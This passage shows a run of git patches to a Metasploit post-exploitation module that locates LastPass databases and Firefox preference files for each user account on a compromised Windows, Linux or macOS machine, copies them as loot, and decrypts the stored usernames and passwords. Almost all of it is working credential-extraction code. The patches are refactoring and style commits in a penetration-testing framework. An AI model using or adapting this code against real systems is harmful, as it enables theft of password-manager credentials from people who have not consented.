- print_line "" + credentials_table << [row[0], password] end end + print_good credentials_table.to_s end # Finds the databases in the victim's machine @@ -78,8 +80,6 @@ class Metasploit3 < Msf::Post case platform when /win/ - os = session.sys.config.sysinfo['OS'] - existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" @@ -157,7 +157,7 @@ class Metasploit3 < Msf::Post file_paths = ["#{profile_path}\\prefs.js"] found_dbs_paths.push(file_paths) end - end + end else file_paths = file_paths(path, browser) found_dbs_paths.push(file_paths) unless file_paths.nil? @@ -166,8 +166,6 @@ class Metasploit3 < Msf::Post found_dbs_paths end - - # Returns the relevant information from user profiles def user_profiles case session.platform From 9177b931fdd9f23a0c5c447dc451edce3f798dc4 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 17 Oct 2014 10:20:55 -0700 Subject: [PATCH 15/24] Refactoring of LastPass module to use correct Firefox path on *nix --- modules/post/multi/gather/lastpass_creds.rb | 88 +++++++++------------ 1 file changed, 36 insertions(+), 52 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 20d7cc01e1..a78be7cb58 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -30,8 +30,8 @@ class Metasploit3 < Msf::Post print_status "Searching for LastPass databases..." - db_paths = database_paths # Find databases and get the remote paths - if db_paths.size == 0 # Found any database? + db_paths = get_database_paths # Find databases and get the remote paths + if db_paths.empty? print_status "No databases found" return end @@ -73,9 +73,9 @@ class Metasploit3 < Msf::Post end # Finds the databases in the victim's machine - def database_paths + def get_database_paths platform = session.platform - existing_profiles = user_profiles + existing_profiles = get_user_profiles found_dbs_paths = [] case platform @@ -98,10 +98,7 @@ class Metasploit3 < Msf::Post # Check Safari path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" found_dbs_paths.push(find_db_paths(path, "Safari")) - - print_line "" end - when /unix|linux/ existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" @@ -114,7 +111,6 @@ class Metasploit3 < Msf::Post path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" found_dbs_paths.push(find_db_paths(path, "Chrome")) end - when /osx/ existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" @@ -138,7 +134,6 @@ class Metasploit3 < Msf::Post else print_error "platform not recognized: #{platform}" - return nil end found_dbs_paths.flatten @@ -150,53 +145,48 @@ class Metasploit3 < Msf::Post print_status "Checking in #{browser}..." if browser == "Firefox" # Special case for Firefox - profiles = profile_paths(path, browser) - if profiles + profiles = get_firefox_profile_files(path, browser) + unless profiles.empty? print_good "Found #{profiles.size} profile files in Firefox" - profiles.each do |profile_path| - file_paths = ["#{profile_path}\\prefs.js"] - found_dbs_paths.push(file_paths) - end + found_dbs_paths |= profiles end else - file_paths = file_paths(path, browser) - found_dbs_paths.push(file_paths) unless file_paths.nil? + found_dbs_paths |= file_paths(path, browser) end found_dbs_paths end # Returns the relevant information from user profiles - def user_profiles + def get_user_profiles + user_profiles = [] case session.platform when /unix|linux/ - user_profiles = [] if session.type == "meterpreter" user_names = client.fs.dir.entries("/home") else user_names = session.shell_command("ls /home").split end + user_names.reject! { |u| %w(. ..).include?(u) } user_names.each do |user_name| - user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}") if user_name != '.' && user_name != '..' + user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}") end - - return user_profiles - when /osx/ - user_profiles = [] user_names = session.shell_command("ls /Users").split + user_names.reject! { |u| u == 'Shared' } user_names.each do |user_name| - user_profiles.push('UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support") if user_name != 'Shared' + user_profiles.push( + 'UserName' => user_name, + "AppData" => "/Users/#{user_name}/Library", + "LocalAppData" => "/Users/#{user_name}/Library/Application Support" + ) end - - return user_profiles - when /win/ - return grab_user_profiles + user_profiles |= grab_user_profiles else print_error "OS not recognized: #{os}" - return nil end + user_profiles end # Extracts the databases paths from the given folder ignoring . and .. @@ -218,48 +208,42 @@ class Metasploit3 < Msf::Post else print_error "Session type not recognized: #{session.type}" - return nil + return found_dbs_paths end end - if found_dbs_paths.size > 0 - print_good "Found #{found_dbs_paths.size} database/s in #{browser}" - return found_dbs_paths - else + if found_dbs_paths.empty? print_status "No databases found for #{browser}" - return nil + else + print_good "Found #{found_dbs_paths.size} database/s in #{browser}" end + found_dbs_paths end - # Returns the profile path for Firefox - def profile_paths(path, browser) + # Returns the profile files for Firefox + def get_firefox_profile_files(path, browser) found_dbs_paths = [] if directory?(path) if session.type == "meterpreter" files = client.fs.dir.entries(path) - files.each do |file_path| - found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' && file_path != '..' && file_path.match(/.*\.default/) - end - elsif session.type == "shell" files = session.shell_command("ls \"#{path}\"").split - files.each do |file_path| - found_dbs_paths.push(File.join(path, file_path)) if file_path.match(/.*\.default/) - end - else print_error "Session type not recognized: #{session.type}" - return nil + return found_dbs_paths end end - if found_dbs_paths.size > 0 - return found_dbs_paths - else - print_status "No profile paths found for #{browser}" - return nil + files.reject! { |file| %w(. ..).include?(file) } + files.each do |file_path| + found_dbs_paths.push(File.join(path, file_path, 'prefs.js')) if file_path.match(/.*\.default/) end + + if found_dbs_paths.empty? + print_status "No profile paths found for #{browser}" + end + found_dbs_paths end # Parses the Firefox preferences file and returns encoded credentials From 43238c732471812c5eadc8fd6ea6ebf46c5ec7b9 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 17 Oct 2014 11:19:36 -0700 Subject: [PATCH 16/24] Simplify LastPass extraction. Track what browser that puked creds --- modules/post/multi/gather/lastpass_creds.rb | 144 +++++++++----------- 1 file changed, 68 insertions(+), 76 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index a78be7cb58..de75cd72ff 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -11,12 +11,14 @@ class Metasploit3 < Msf::Post def initialize(info = {}) super(update_info(info, - 'Name' => 'LastPass Master Password Extractor', - 'Description' => %q{This module extracts and decrypts login accounts and passwords stored by Lastpass.}, - 'License' => MSF_LICENSE, - 'Author' => ['Alberto Garcia Illera ', 'Martin Vigo '], - 'Platform' => %w{ linux osx unix win }, - 'SessionTypes' => [ 'meterpreter, shell' ] + 'Name' => 'LastPass Master Password Extractor', + 'Description' => %q{ + This module extracts and decrypts LastPass master login accounts and passwords. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Alberto Garcia Illera ', 'Martin Vigo '], + 'Platform' => %w(linux osx unix win), + 'SessionTypes' => %w(meterpreter shell) )) end @@ -26,48 +28,52 @@ class Metasploit3 < Msf::Post return end - credentials_table = Rex::Ui::Text::Table.new('Header' => "LastPass credentials", 'Indent' => 1, 'Columns' => ["Username", "Password"]) - print_status "Searching for LastPass databases..." - db_paths = get_database_paths # Find databases and get the remote paths - if db_paths.empty? + db_map = get_database_paths # Find databases and get the remote paths + if db_map.empty? print_status "No databases found" return end print_status "Looking for credentials in all databases found..." + # an array of [user, encrypted password, browser] credentials = [] # All credentials to be decrypted - db_paths.each do |db_path| - if db_path =~ /Mozilla/i # Firefox - # Read and store the remote preferences file locally - data = read_file(db_path) - loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{db_path}") + db_map.each_pair do |browser, paths| + if browser == 'Firefox' + paths.each do |path| + # Read and store the remote preferences file locally + data = read_file(path) + loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{path}") - # Extract usernames and passwords from preference file - firefox_encoded_creds = firefox_credentials(loot_path) - next unless firefox_encoded_creds - firefox_encoded_creds.each do |creds| - credentials = [URI.unescape(creds[0]), URI.unescape(creds[1])] unless creds[0].nil? || creds[1].nil? + # Extract usernames and passwords from preference file + firefox_encoded_creds = firefox_credentials(loot_path) + next unless firefox_encoded_creds + firefox_encoded_creds.each do |creds| + credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser] unless creds[0].nil? || creds[1].nil? + end end - else # Chrome, Safari and Opera - # Read and store the remote database locally - data = read_file(db_path) - loot_path = store_loot('lastpass.database', 'application/x-sqlite3', session, data, nil, "LastPass database #{db_path}") + paths.each do |path| + data = read_file(path) + loot_path = store_loot('lastpass.database', 'application/x-sqlite3', session, data, nil, "LastPass database #{path}") - # Parsing/Querying the DB - db = SQLite3::Database.new(loot_path) - credentials = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + user, pass = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';").flatten + credentials << [user, pass, browser] if user && pass + end end + end - # Parse and decrypt credentials - credentials.each do |row| # Decrypt passwords - print_status "Decrypting password for user #{row[0]}..." - password = clear_text_password(row[0], row[1]) - credentials_table << [row[0], password] - end + credentials_table = Rex::Ui::Text::Table.new('Header' => "LastPass credentials", 'Indent' => 1, 'Columns' => %w(Username Password Browser)) + # Parse and decrypt credentials + credentials.each do |row| # Decrypt passwords + user, enc_pass, browser = row + print_status "Decrypting password for user #{user} from #{browser}..." + password = clear_text_password(user, enc_pass) + credentials_table << [user, password, browser] end print_good credentials_table.to_s end @@ -76,67 +82,53 @@ class Metasploit3 < Msf::Post def get_database_paths platform = session.platform existing_profiles = get_user_profiles - found_dbs_paths = [] + found_dbs_map = { + 'Chrome' => [], + 'Firefox' => [], + 'Opera' => [], + 'Safari' => [] + } + + browser_path_map = {} case platform when /win/ existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" - - # Check Firefox - path = "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles" - found_dbs_paths.push(find_db_paths(path, "Firefox")) - - # Check Chrome - path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - found_dbs_paths.push(find_db_paths(path, "Chrome")) - - # Check Opera - path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - found_dbs_paths.push(find_db_paths(path, "Opera")) - - # Check Safari - path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - found_dbs_paths.push(find_db_paths(path, "Safari")) + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", + 'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", + 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", + 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + } end when /unix|linux/ existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" - - # Check Firefox - path = "#{user_profile['LocalAppData']}/.mozilla/firefox" - found_dbs_paths.push(find_db_paths(path, "Firefox")) - - # Check Chrome - path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - found_dbs_paths.push(find_db_paths(path, "Chrome")) + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", + 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", + } end when /osx/ existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" - - # Check Firefox - path = "#{user_profile['LocalAppData']}\\Firefox\\Profiles" - found_dbs_paths.push(find_db_paths(path, "Firefox")) - - # Check Chrome - path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - found_dbs_paths.push(find_db_paths(path, "Chrome")) - - # Check Safari - path = "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - found_dbs_paths.push(find_db_paths(path, "Safari")) - - # Check Opera - path = "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - found_dbs_paths.push(find_db_paths(path, "Opera")) + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", + 'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles", + 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", + 'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + } end - else print_error "platform not recognized: #{platform}" end - found_dbs_paths.flatten + browser_path_map.each_pair do |browser, path| + found_dbs_map[browser] |= find_db_paths(path, browser) + end + + found_dbs_map end # Returns a list of DB paths found in the victims' machine From d97fe548b938b7f9d9f7aacdbc44ae9a6e2e670f Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 17 Oct 2014 11:33:31 -0700 Subject: [PATCH 17/24] Store the browser name in LastPass loot --- modules/post/multi/gather/lastpass_creds.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index de75cd72ff..6aa2994ceb 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -43,7 +43,6 @@ class Metasploit3 < Msf::Post db_map.each_pair do |browser, paths| if browser == 'Firefox' paths.each do |path| - # Read and store the remote preferences file locally data = read_file(path) loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{path}") @@ -57,7 +56,7 @@ class Metasploit3 < Msf::Post else # Chrome, Safari and Opera paths.each do |path| data = read_file(path) - loot_path = store_loot('lastpass.database', 'application/x-sqlite3', session, data, nil, "LastPass database #{path}") + loot_path = store_loot("#{browser.downcase}.lastpass.database", 'application/x-sqlite3', session, data, nil, "#{browser} LastPass database #{path}") # Parsing/Querying the DB db = SQLite3::Database.new(loot_path) From d2a00b208e2b2f6d3a57f6d9db208f488b54b177 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 17 Oct 2014 12:50:18 -0700 Subject: [PATCH 18/24] Minor style cleanup to appease Rubocop --- modules/post/multi/gather/lastpass_creds.rb | 41 ++++++++++++--------- 1 file changed, 23 insertions(+), 18 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 6aa2994ceb..76266338e4 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -10,16 +10,17 @@ class Metasploit3 < Msf::Post include Msf::Post::Unix def initialize(info = {}) - super(update_info(info, - 'Name' => 'LastPass Master Password Extractor', - 'Description' => %q{ - This module extracts and decrypts LastPass master login accounts and passwords. - }, - 'License' => MSF_LICENSE, - 'Author' => ['Alberto Garcia Illera ', 'Martin Vigo '], - 'Platform' => %w(linux osx unix win), - 'SessionTypes' => %w(meterpreter shell) - )) + super( + update_info( + info, + 'Name' => 'LastPass Master Password Extractor', + 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords', + 'License' => MSF_LICENSE, + 'Author' => ['Alberto Garcia Illera ', 'Martin Vigo '], + 'Platform' => %w(linux osx unix win), + 'SessionTypes' => %w(meterpreter shell) + ) + ) end def run @@ -30,7 +31,7 @@ class Metasploit3 < Msf::Post print_status "Searching for LastPass databases..." - db_map = get_database_paths # Find databases and get the remote paths + db_map = database_paths # Find databases and get the remote paths if db_map.empty? print_status "No databases found" return @@ -60,7 +61,11 @@ class Metasploit3 < Msf::Post # Parsing/Querying the DB db = SQLite3::Database.new(loot_path) - user, pass = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';").flatten + user, pass = db.execute( + "SELECT username, password FROM LastPassSavedLogins2 " \ + "WHERE username IS NOT NULL AND username != '' " \ + "AND password IS NOT NULL AND password != '';" + ).flatten credentials << [user, pass, browser] if user && pass end end @@ -78,9 +83,9 @@ class Metasploit3 < Msf::Post end # Finds the databases in the victim's machine - def get_database_paths + def database_paths platform = session.platform - existing_profiles = get_user_profiles + existing_profiles = user_profiles found_dbs_map = { 'Chrome' => [], 'Firefox' => [], @@ -106,7 +111,7 @@ class Metasploit3 < Msf::Post print_status "Found user: #{user_profile['UserName']}" browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", - 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", + 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox" } end when /osx/ @@ -136,7 +141,7 @@ class Metasploit3 < Msf::Post print_status "Checking in #{browser}..." if browser == "Firefox" # Special case for Firefox - profiles = get_firefox_profile_files(path, browser) + profiles = firefox_profile_files(path, browser) unless profiles.empty? print_good "Found #{profiles.size} profile files in Firefox" found_dbs_paths |= profiles @@ -149,7 +154,7 @@ class Metasploit3 < Msf::Post end # Returns the relevant information from user profiles - def get_user_profiles + def user_profiles user_profiles = [] case session.platform when /unix|linux/ @@ -212,7 +217,7 @@ class Metasploit3 < Msf::Post end # Returns the profile files for Firefox - def get_firefox_profile_files(path, browser) + def firefox_profile_files(path, browser) found_dbs_paths = [] if directory?(path) From a30663e4121f71e3148a425991b7ff000ada3fac Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 17 Oct 2014 17:40:19 -0700 Subject: [PATCH 19/24] Fix multiuser LastPass extraction, print/vprint cleanup --- modules/post/multi/gather/lastpass_creds.rb | 166 ++++++++++---------- 1 file changed, 81 insertions(+), 85 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 76266338e4..fbc1c3eb91 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -16,8 +16,13 @@ class Metasploit3 < Msf::Post 'Name' => 'LastPass Master Password Extractor', 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords', 'License' => MSF_LICENSE, - 'Author' => ['Alberto Garcia Illera ', 'Martin Vigo '], + 'Author' => [ + 'Alberto Garcia Illera ', # original module and research + 'Martin Vigo ', # original module and research + 'Jon Hart %w(linux osx unix win), + 'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']], 'SessionTypes' => %w(meterpreter shell) ) ) @@ -37,7 +42,7 @@ class Metasploit3 < Msf::Post return end - print_status "Looking for credentials in all databases found..." + print_status "Extracting credentials from #{db_map.size} LastPass databases" # an array of [user, encrypted password, browser] credentials = [] # All credentials to be decrypted @@ -45,19 +50,31 @@ class Metasploit3 < Msf::Post if browser == 'Firefox' paths.each do |path| data = read_file(path) - loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{path}") + loot_path = store_loot( + 'firefox.preferences', + 'text/javascript', + session, + data, + nil, + "Firefox preferences file #{path}" + ) # Extract usernames and passwords from preference file - firefox_encoded_creds = firefox_credentials(loot_path) - next unless firefox_encoded_creds - firefox_encoded_creds.each do |creds| - credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser] unless creds[0].nil? || creds[1].nil? + firefox_credentials(loot_path).each do |creds| + credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser] end end else # Chrome, Safari and Opera paths.each do |path| data = read_file(path) - loot_path = store_loot("#{browser.downcase}.lastpass.database", 'application/x-sqlite3', session, data, nil, "#{browser} LastPass database #{path}") + loot_path = store_loot( + "#{browser.downcase}.lastpass.database", + 'application/x-sqlite3', + session, + data, + nil, + "#{browser} LastPass database #{path}" + ) # Parsing/Querying the DB db = SQLite3::Database.new(loot_path) @@ -71,21 +88,25 @@ class Metasploit3 < Msf::Post end end - credentials_table = Rex::Ui::Text::Table.new('Header' => "LastPass credentials", 'Indent' => 1, 'Columns' => %w(Username Password Browser)) + credentials_table = Rex::Ui::Text::Table.new( + 'Header' => "LastPass credentials", + 'Indent' => 1, + 'Columns' => %w(Username Password Browser) + ) # Parse and decrypt credentials credentials.each do |row| # Decrypt passwords user, enc_pass, browser = row - print_status "Decrypting password for user #{user} from #{browser}..." + vprint_status "Decrypting password for user #{user} from #{browser}..." password = clear_text_password(user, enc_pass) credentials_table << [user, password, browser] end - print_good credentials_table.to_s + print_good credentials_table.to_s unless credentials.empty? end # Finds the databases in the victim's machine def database_paths platform = session.platform - existing_profiles = user_profiles + profiles = user_profiles found_dbs_map = { 'Chrome' => [], 'Firefox' => [], @@ -95,62 +116,60 @@ class Metasploit3 < Msf::Post browser_path_map = {} - case platform - when /win/ - existing_profiles.each do |user_profile| - print_status "Found user: #{user_profile['UserName']}" + if datastore['VERBOSE'] + vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}" + else + print_status "Found #{profiles.size} users" + end + + profiles.each do |user_profile| + username = user_profile['UserName'] + case platform + when /win/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", 'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" } - end - when /unix|linux/ - existing_profiles.each do |user_profile| - print_status "Found user: #{user_profile['UserName']}" + when /unix|linux/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox" } - end - when /osx/ - existing_profiles.each do |user_profile| - print_status "Found user: #{user_profile['UserName']}" + when /osx/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", 'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles", 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", 'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" } + else + print_error "platform not recognized: #{platform}" + end + + browser_path_map.each_pair do |browser, path| + found_dbs_map[browser] |= find_db_paths(path, browser, username) end - else - print_error "platform not recognized: #{platform}" end - browser_path_map.each_pair do |browser, path| - found_dbs_map[browser] |= find_db_paths(path, browser) - end - - found_dbs_map + found_dbs_map.delete_if { |browser, paths| paths.empty? } end # Returns a list of DB paths found in the victims' machine - def find_db_paths(path, browser) - found_dbs_paths = [] + def find_db_paths(path, browser, username) + paths = [] - print_status "Checking in #{browser}..." + vprint_status "Checking #{username}'s #{browser}..." if browser == "Firefox" # Special case for Firefox profiles = firefox_profile_files(path, browser) - unless profiles.empty? - print_good "Found #{profiles.size} profile files in Firefox" - found_dbs_paths |= profiles - end + paths |= profiles else - found_dbs_paths |= file_paths(path, browser) + paths |= file_paths(path, browser, username) end - found_dbs_paths + vprint_good "Found #{paths.size} #{browser} databases for #{username}" + paths end # Returns the relevant information from user profiles @@ -186,7 +205,7 @@ class Metasploit3 < Msf::Post end # Extracts the databases paths from the given folder ignoring . and .. - def file_paths(path, browser) + def file_paths(path, browser, username) found_dbs_paths = [] if directory?(path) @@ -195,24 +214,17 @@ class Metasploit3 < Msf::Post files.each do |file_path| found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' && file_path != '..' end - elsif session.type == "shell" files = session.shell_command("ls \"#{path}\"").split files.each do |file_path| found_dbs_paths.push(File.join(path, file_path)) if file_path != 'Shared' end - else print_error "Session type not recognized: #{session.type}" return found_dbs_paths end end - if found_dbs_paths.empty? - print_status "No databases found for #{browser}" - else - print_good "Found #{found_dbs_paths.size} database/s in #{browser}" - end found_dbs_paths end @@ -229,38 +241,30 @@ class Metasploit3 < Msf::Post print_error "Session type not recognized: #{session.type}" return found_dbs_paths end + + files.reject! { |file| %w(. ..).include?(file) } + files.each do |file_path| + found_dbs_paths.push(File.join(path, file_path, 'prefs.js')) if file_path.match(/.*\.default/) + end end - files.reject! { |file| %w(. ..).include?(file) } - files.each do |file_path| - found_dbs_paths.push(File.join(path, file_path, 'prefs.js')) if file_path.match(/.*\.default/) - end - - if found_dbs_paths.empty? - print_status "No profile paths found for #{browser}" - end found_dbs_paths end # Parses the Firefox preferences file and returns encoded credentials def firefox_credentials(loot_path) credentials = [] - password_line = nil File.readlines(loot_path).each do |line| - password_line = line if line['extensions.lastpass.loginpws'] - end - - return nil unless password_line - - if password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/) - encoded_credentials = password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/)[1] - else - return nil - end - - creds_per_user = encoded_credentials.split("|") - creds_per_user.each do |user_creds| - credentials.push(user_creds.split("=")) if user_creds.split("=").size > 1 # Any valid credentials present? + if /user_pref\("extensions.lastpass.loginpws", "(?.*)"\);/ =~ line + creds_per_user = encoded_creds.split("|") + creds_per_user.each do |user_creds| + parts = user_creds.split('=') + # Any valid credentials present? + credentials << parts if parts.size > 1 + end + else + next + end end credentials @@ -279,25 +283,17 @@ class Metasploit3 < Msf::Post decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | encrypted_password = encrypted_data[26..-1] - begin - decipher_result = decipher.update(Base64.decode64(encrypted_password)) + decipher.final - rescue - print_error "Password could not be decrypted" - return nil - end - else # Apply ECB decipher = OpenSSL::Cipher.new("AES-256-ECB") decipher.decrypt decipher.key = sha256_binary_email - begin - decipher_result = decipher.update(Base64.decode64(encrypted_data)) + decipher.final - rescue - print_error "Password could not be decrypted" - return nil - end + encrypted_password = encrypted_data end - decipher_result + begin + decipher.update(Base64.decode64(encrypted_password)) + decipher.final + rescue + print_error "Password for #{email} could not be decrypted" + end end end From 5a05246682409546dc569e01eaad6a96053a3d5a Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 19 Oct 2014 12:30:50 -0700 Subject: [PATCH 20/24] Consistent case in *print_* --- modules/post/multi/gather/lastpass_creds.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index fbc1c3eb91..02eafbdd36 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -145,7 +145,7 @@ class Metasploit3 < Msf::Post 'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" } else - print_error "platform not recognized: #{platform}" + print_error "Platform not recognized: #{platform}" end browser_path_map.each_pair do |browser, path| From 967800eed09f82bca52bdae67098e5e7d9c0a4b9 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 19 Oct 2014 12:59:51 -0700 Subject: [PATCH 21/24] Track account name for more useful table and prints --- modules/post/multi/gather/lastpass_creds.rb | 121 ++++++++++---------- 1 file changed, 61 insertions(+), 60 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 02eafbdd36..301484d958 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -36,54 +36,58 @@ class Metasploit3 < Msf::Post print_status "Searching for LastPass databases..." - db_map = database_paths # Find databases and get the remote paths - if db_map.empty? + account_map = build_account_map + if account_map.empty? print_status "No databases found" return end - print_status "Extracting credentials from #{db_map.size} LastPass databases" + print_status "Extracting credentials from #{account_map.size} LastPass databases" # an array of [user, encrypted password, browser] credentials = [] # All credentials to be decrypted - db_map.each_pair do |browser, paths| - if browser == 'Firefox' - paths.each do |path| - data = read_file(path) - loot_path = store_loot( - 'firefox.preferences', - 'text/javascript', - session, - data, - nil, - "Firefox preferences file #{path}" - ) + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, paths| + if browser == 'Firefox' + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + 'firefox.preferences', + 'text/javascript', + session, + data, + nil, + "Firefox preferences file #{path}" + ) - # Extract usernames and passwords from preference file - firefox_credentials(loot_path).each do |creds| - credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser] + # Extract usernames and passwords from preference file + firefox_credentials(loot_path).each do |creds| + credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])] + end end - end - else # Chrome, Safari and Opera - paths.each do |path| - data = read_file(path) - loot_path = store_loot( - 